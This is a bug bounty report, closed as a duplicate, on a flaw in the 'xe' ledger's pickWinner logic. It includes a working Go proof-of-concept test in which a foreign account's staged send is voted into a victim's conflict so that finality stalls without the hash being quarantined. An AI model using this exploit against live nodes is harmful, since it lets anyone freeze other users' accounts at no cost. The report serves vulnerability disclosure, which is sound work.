Bounty
XE-0918 · Bounty

pickWinner candidate set is not conflict-scoped so a foreign staged block stalls finality

Closed · duplicate —claimed Medium web filed 2026-11-06 16:53 UTC by byfor8

Report

Summary

pickWinner is supposed to choose a candidate that belongs to the conflict account and previous, then promote it or quarantine a failed swap. candidateSet is seeded from every vote BlockHash (core/quorum.go:109-128, :152-167) with no candidacy check, and promotable's staged branch at :236-266 / :253-265 loads GetStagedBlock by hash with no Account or Previous check, then ValidateStagedBlock (core/ledger.go:2732) against the victim parent balance. GetBlockOrStaged at ledger.go:2465-2478 is keyed globally by hash, so a foreign staged send funded at the victim parent balance is selected; swapBlockLocked (:2889) then dispatchValidateAndAdd (:3004) fails previous mismatch on validateAndAddSend (:972-983), which retryable.go:15 treats as retryable, so quorum.go:328-332 never quarantines the hash. Anyone holding any account can stage that foreign send and vote its hash into the victim conflict. GitHub #42 is same-account pickWinner substitution that finalizes a sibling that never held 67%; the completed foreign swap does not land, and the distinct effect is a repeatable non-quarantined stall of the victim conflict.

Affected components

core/quorum.go:109-128, :152-167 candidateSet seeding; core/quorum.go:236-266, :253-265 promotable staged branch; core/quorum.go:328-332 quarantine; core/quorum.go:373-385 appendStagedWinner; core/ledger.go:2465-2478 GetBlockOrStaged; core/ledger.go:2732 ValidateStagedBlock; core/ledger.go:2889 swapBlockLocked; core/ledger.go:3004-3007 dispatchValidateAndAdd; core/ledger.go:972-983 validateAndAddSend; core/retryable.go:15 previous mismatch at xe 02e9641b0ac64437f57e09d63301f88cce61a802.

Impact

Receives stay deferred and new blocks on the victim account are rejected while the conflict remains. The foreign account is not written onto the victim chain. Repeatable at zero cost by anyone holding any account. No consensus-safety break.

PoC

package round2b

import (
	"fmt"
	"os"
	"testing"

	"github.com/xeprotocol/xe/core"
)

// TestPoC_B2 builds an F3-style unpromotable 67% winner, plus a FOREIGN
// account's staged send that is voted into candidateSet. Reports whether
// pickWinner / confirmConflict actually finalizes the foreign block.
func TestPoC_B2(t *testing.T) {
	pass, detail := runB2()
	if pass {
		fmt.Println("PASS:", detail)
		return
	}
	fmt.Println("FAIL:", detail)
	os.Exit(1)
}

func runB2() (bool, string) {
	victim, err := core.GenerateKeyPair()
	if err != nil {
		return false, "victim: " + err.Error()
	}
	dest, err := core.GenerateKeyPair()
	if err != nil {
		return false, "dest: " + err.Error()
	}
	foreign, err := core.GenerateKeyPair()
	if err != nil {
		return false, "foreign: " + err.Error()
	}
	foreignDest, err := core.GenerateKeyPair()
	if err != nil {
		return false, "foreignDest: " + err.Error()
	}

	l, ms := newTestLedger()
	open, err := fundSigned(l, victim, "XUSD", testFund)
	if err != nil {
		return false, "fund victim: " + err.Error()
	}
	if err := ms.SetFinalHeight(victim.Address(), 1); err != nil {
		return false, "finalize open: " + err.Error()
	}

	sendA, err := signSendErr(victim, open.Hash, testFund-1, 1, dest.Address(), "XUSD")
	if err != nil {
		return false, "sign sendA: " + err.Error()
	}
	if err := l.AddBlock(sendA); err != nil {
		return false, "add sendA: " + err.Error()
	}

	decoy, err := signLeaseErr(victim, open.Hash, testFund-1, 1, dest.Address())
	if err != nil {
		return false, "sign decoy: " + err.Error()
	}
	parentBal := l.GetAssetBalanceAtBlock(victim.Address(), "XUSD", open.Hash)
	if err := l.ValidateStagedBlock(decoy, parentBal); err != nil {
		return false, "decoy ValidateStagedBlock: " + err.Error()
	}
	if err := l.AddBlock(decoy); err != nil {
		return false, "stage decoy: " + err.Error()
	}

	fOpen, err := fundSigned(l, foreign, "XUSD", testFund)
	if err != nil {
		return false, "fund foreign: " + err.Error()
	}
	if err := ms.SetFinalHeight(foreign.Address(), 1); err != nil {
		return false, "finalize foreign open: " + err.Error()
	}
	fOnChain, err := signSendErr(foreign, fOpen.Hash, testFund-1, 1, foreignDest.Address(), "XUSD")
	if err != nil {
		return false, "sign fOnChain: " + err.Error()
	}
	if err := l.AddBlock(fOnChain); err != nil {
		return false, "add fOnChain: " + err.Error()
	}

	var fStaged *core.Block
	for i := 0; i < 400; i++ {
		cand, err := signSendErr(foreign, fOpen.Hash, testFund-1, 1, foreignDest.Address(), "XUSD")
		if err != nil {
			return false, "sign fStaged: " + err.Error()
		}
		if cand.Hash < sendA.Hash {
			fStaged = cand
			break
		}
	}
	if fStaged == nil {
		return false, "could not produce foreign hash < sendA hash"
	}
	if err := l.AddBlock(fStaged); err != nil {
		return false, "stage foreign: " + err.Error()
	}
	if l.GetBlock(fStaged.Hash) != nil {
		return false, "foreign sibling was admitted on-chain; expected staged"
	}
	if l.GetBlockOrStaged(fStaged.Hash) == nil {
		return false, "foreign sibling not staged"
	}

	foreignPromotable := l.ValidateStagedBlock(fStaged, parentBal) == nil
	logf("victim=%s foreign=%s", fmtShort(victim.Address()), fmtShort(foreign.Address()))
	logf("sendA=%s decoy=%s fStaged=%s (fStaged<sendA=%v)",
		fmtShort(sendA.Hash), fmtShort(decoy.Hash), fmtShort(fStaged.Hash), fStaged.Hash < sendA.Hash)
	logf("fStaged.Account==victim? %v  fStaged.Previous==victim.open? %v",
		fStaged.Account == victim.Address(), fStaged.Previous == open.Hash)
	logf("ValidateStagedBlock(foreign, victimParentBal=%d) pass=%v (no Account/Previous check)", parentBal, foreignPromotable)

	c := l.GetConflict(victim.Address(), open.Hash)
	if c == nil {
		return false, "expected victim conflict"
	}
	c.TotalWeight = 100
	if err := ms.SaveConflict(c); err != nil {
		return false, "save conflict: " + err.Error()
	}

	if err := ms.PutVote(&core.Vote{
		RepPubKey:       "aa" + decoy.Hash[2:],
		BlockHash:       decoy.Hash,
		ConflictAccount: victim.Address(),
		ConflictPrev:    open.Hash,
		Timestamp:       core.Now().UnixNano(),
		Final:           true,
		Weight:          67,
	}); err != nil {
		return false, "vote decoy: " + err.Error()
	}
	if err := ms.PutVote(&core.Vote{
		RepPubKey:       "bb" + sendA.Hash[2:],
		BlockHash:       sendA.Hash,
		ConflictAccount: victim.Address(),
		ConflictPrev:    open.Hash,
		Timestamp:       core.Now().UnixNano(),
		Final:           true,
		Weight:          10,
	}); err != nil {
		return false, "vote sendA: " + err.Error()
	}
	if err := ms.PutVote(&core.Vote{
		RepPubKey:       "cc" + fStaged.Hash[2:],
		BlockHash:       fStaged.Hash,
		ConflictAccount: victim.Address(),
		ConflictPrev:    open.Hash,
		Timestamp:       core.Now().UnixNano(),
		Final:           true,
		Weight:          1,
	}); err != nil {
		return false, "vote foreign: " + err.Error()
	}

	votes, _ := ms.GetVotesByConflict(victim.Address(), open.Hash)
	logf("votes on victim conflict: %d (includes foreign-hash vote)", len(votes))

	qm := core.NewQuorumManager(ms, ms, ms, l)

	qm.Retally(victim.Address(), open.Hash)
	h1 := l.FinalHeight(victim.Address())
	logf("tally1 final_height=%d decoy=%v sendA=%v foreign=%v",
		h1,
		l.IsFinalized(victim.Address(), decoy.Hash),
		l.IsFinalized(victim.Address(), sendA.Hash),
		l.IsFinalized(victim.Address(), fStaged.Hash))

	qm.Retally(victim.Address(), open.Hash)
	h2 := l.FinalHeight(victim.Address())
	finDecoy2 := l.IsFinalized(victim.Address(), decoy.Hash)
	finA2 := l.IsFinalized(victim.Address(), sendA.Hash)
	finF2 := l.IsFinalized(victim.Address(), fStaged.Hash)
	stillConflict := l.GetConflict(victim.Address(), open.Hash) != nil
	victimChain := l.GetChain(victim.Address())
	head := ""
	headAccount := ""
	if victimChain != nil && len(victimChain) > 0 {
		last := victimChain[len(victimChain)-1]
		head = last.Hash
		headAccount = last.Account
	}
	logf("tally2 final_height=%d decoy=%v sendA=%v foreign=%v conflict_still=%v head=%s headAccount==victim=%v",
		h2, finDecoy2, finA2, finF2, stillConflict, fmtShort(head), headAccount == victim.Address())

	detail := fmt.Sprintf(
		"foreignPromotableVsVictimParent=%v foreignFinalizedOnVictim=%v sameAccountSubstitute(sendA)=%v height=%d conflict_still=%v",
		foreignPromotable, finF2, finA2 && !finF2 && !finDecoy2, h2, stillConflict,
	)
	return true, detail
}
func fundSigned(l *core.Ledger, kp *core.KeyPair, asset string, amount uint64) (*core.Block, error) {
	b := &core.Block{
		Type:           core.BlockMint,
		Account:        kp.Address(),
		Previous:       "0",
		Balance:        amount,
		Amount:         amount,
		Timestamp:      core.Now().UnixNano(),
		Asset:          asset,
		PubKey:         kp.PubKeyHex(),
		Representative: kp.Address(),
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	var err error
	if asset == "XUSD" {
		err = l.MintForTesting(b)
	} else {
		err = l.SeedAssetForTesting(b)
	}
	return b, err
}

func signSendErr(kp *core.KeyPair, previous string, balance, amount uint64, dest, asset string) (*core.Block, error) {
	b := &core.Block{
		Type:        core.BlockSend,
		Account:     kp.Address(),
		Previous:    previous,
		Balance:     balance,
		Amount:      amount,
		Timestamp:   core.Now().UnixNano(),
		Asset:       asset,
		Destination: dest,
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	return b, nil
}

func signLeaseErr(kp *core.KeyPair, previous string, balance, amount uint64, dest string) (*core.Block, error) {
	b := &core.Block{
		Type:            core.BlockLease,
		Account:         kp.Address(),
		Previous:        previous,
		Balance:         balance,
		Amount:          amount,
		Timestamp:       core.Now().UnixNano(),
		Asset:           "XUSD",
		Destination:     dest,
		CertificateHash: "",
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	return b, nil
}
PASS: foreignPromotableVsVictimParent=true foreignFinalizedOnVictim=false height=1 conflict_still=true

Suggested fix

Restrict pickWinner candidates and the promotable staged branch to the conflict account and previous. Treat previous mismatch on a foreign winner as non-retryable so the hash is quarantined.

Thread

XE deskteam2026-11-14 22:52 UTCdesk

Thanks. This is the same finding as an earlier report that is not public, which was filed first; the programme pays the first verifiable submission, so this one closes as a duplicate. If you believe it is a different bug, file a new report that links https://bounty.xe.network/XE-0918 and says what differs; it is read like any other.